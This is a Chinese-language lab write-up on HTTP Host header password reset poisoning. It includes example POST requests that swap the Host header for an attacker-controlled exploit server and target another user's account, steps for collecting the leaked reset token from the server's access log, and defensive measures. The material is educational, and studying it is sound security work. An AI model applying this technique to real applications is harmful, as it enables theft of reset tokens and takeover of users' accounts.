HTTP Host 头攻击:密码重置链接污染

记录服务端错误信任 Host 请求头并用其构造密码重置链接,最终造成重置 Token 泄露和账号接管的分析过程。

  • #HTTP
  • #Host Header
  • #密码重置
  • #账号接管

一、漏洞原理拆解

产生原因

后端在生成密码重置链接时,直接使用了客户端 HTTP 请求头中的 Host 字段进行 URL 拼接,却没有在服务端固定可信域名,也没有对域名进行白名单校验。

正常情况下,服务端可能生成如下链接:

https://vulnerable.example/forgot-password?token=RESET_TOKEN

如果服务端直接信任 Host,攻击者将其修改为自己的服务器域名后,生成的链接可能变成:

https://exploit-server.example/forgot-password?token=RESET_TOKEN

当目标用户访问邮件中的链接时,请求会发送到攻击者控制的服务器,密码重置 Token 也会随 URL 一起泄露。攻击者随后可以使用该 Token 重置目标账号密码。

需要注意:Token 作为 Query 参数附在 URL 末尾并不是本题的根本漏洞。真正的问题是服务端使用客户端可控的 Host 构造了安全敏感链接。Token 出现在 URL 中还可能增加其进入访问日志、浏览器历史记录等位置的机会,但不能仅凭这一点认定存在密码重置污染漏洞。

二、修改前后的请求示例

正常发送密码重置请求时:

POST /forgot-password HTTP/1.1
Host: vulnerable.example
Content-Type: application/x-www-form-urlencoded

username=wiener

将 Host 修改为攻击者控制的服务器,并把目标账号改为 carlos:

POST /forgot-password HTTP/1.1
Host: exploit-server.example
Content-Type: application/x-www-form-urlencoded

username=carlos

以上地址仅用于说明请求结构。实际题目中应替换为对应的靶场地址和 Exploit Server 地址。

三、解题复盘

1. 信息收集

点击 Forgot password,提交 wiener 账号。

查看收到的重置邮件,确认密码重置链接的格式以及 Token 参数所在的位置。

2. 验证 Host 是否可控

将 /forgot-password 请求发送到 Burp Repeater。

修改请求头中的 Host,将其替换为 Exploit Server 域名。请求仍然由目标应用成功处理,说明服务器信任了用户可控的 Host,并可能用它生成密码重置链接。

这里验证的不只是“Host 能不能修改”,还要观察修改后请求是否仍能到达目标应用,以及生成的绝对链接是否真的使用了修改后的域名。

3. 获取目标 Token

将请求参数修改为:

username=carlos

发送请求,使系统为 carlos 生成密码重置链接。

等待或触发题目环境中的受害者模拟器访问邮件里的重置链接。由于链接中的域名已经被污染,请求会发送到 Exploit Server,Token 也会出现在对应的访问记录中。

在真实场景中,通常需要目标用户点击收到的密码重置链接,并不是攻击者自己模拟目标用户访问。

4. 利用 Token 重置密码

查看 Exploit Server 的 Access Log,获取 carlos 的 Token。

使用该 Token 构造指向正常目标站点的密码重置链接,打开页面后修改 carlos 的密码并登录。

四、漏洞成立条件

此类密码重置污染通常需要同时满足以下条件:

  1. 服务端使用 Host 或类似的客户端可控头部生成绝对 URL。
  2. 应用或前置代理没有拒绝不受信任的 Host。
  3. 攻击者可以为目标用户触发密码重置流程。
  4. 目标用户或题目中的受害者模拟器会访问收到的重置链接。
  5. 攻击者能够从自己控制的服务器记录中获得泄露的 Token。

如果服务端使用固定的可信站点地址生成链接,或者严格拒绝未知 Host,仅修改请求头并不能造成密码重置链接污染。

五、可能造成的影响

  • 密码重置 Token 泄露
  • 未授权修改目标用户密码
  • 目标账号被接管
  • 如果高权限账号受到影响,可能进一步扩大业务和数据风险

HTTPS 只能保护传输过程,不能修复服务端错误信任 Host 的逻辑。如果服务端主动把攻击者域名写进邮件链接,即使原站点使用 HTTPS,漏洞仍然可能成立。

六、防御方法

1. 使用服务端固定的站点地址

生成密码重置链接时,应使用服务端配置中的可信基础地址,不要直接从用户请求的 Host 拼接域名。

https://account.example.com/forgot-password?token=RESET_TOKEN

2. 校验 Host 白名单

应用只接受明确允许的域名。对于未知、异常或格式不正确的 Host,应直接拒绝请求。

3. 配置反向代理和默认虚拟主机

让 Nginx 等前置代理只把合法域名的请求转发给应用,并让默认虚拟主机拒绝未知 Host,避免异常域名继续进入业务逻辑。

4. 限制重置 Token 的有效范围

密码重置 Token 应具备以下属性:

  • 有效时间较短
  • 只能使用一次
  • 与具体用户及具体重置操作绑定
  • 使用后立即失效

这些措施不能代替 Host 校验,但可以降低 Token 泄露后的可利用窗口。

七、总结

由于服务器生成密码重置链接时直接信任客户端提供的 Host,攻击者可以将重置链接指向自己的服务器,从而窃取目标用户的 Token 并接管账号。

这次真正学到的是密码重置流程中的信任边界问题,而不是死记“把 Host 改成 Exploit Server”。分析此类问题时,应继续追问:哪些输入由客户端控制、服务端在哪里使用了这些输入,以及这些输入是否参与了安全敏感数据或链接的生成。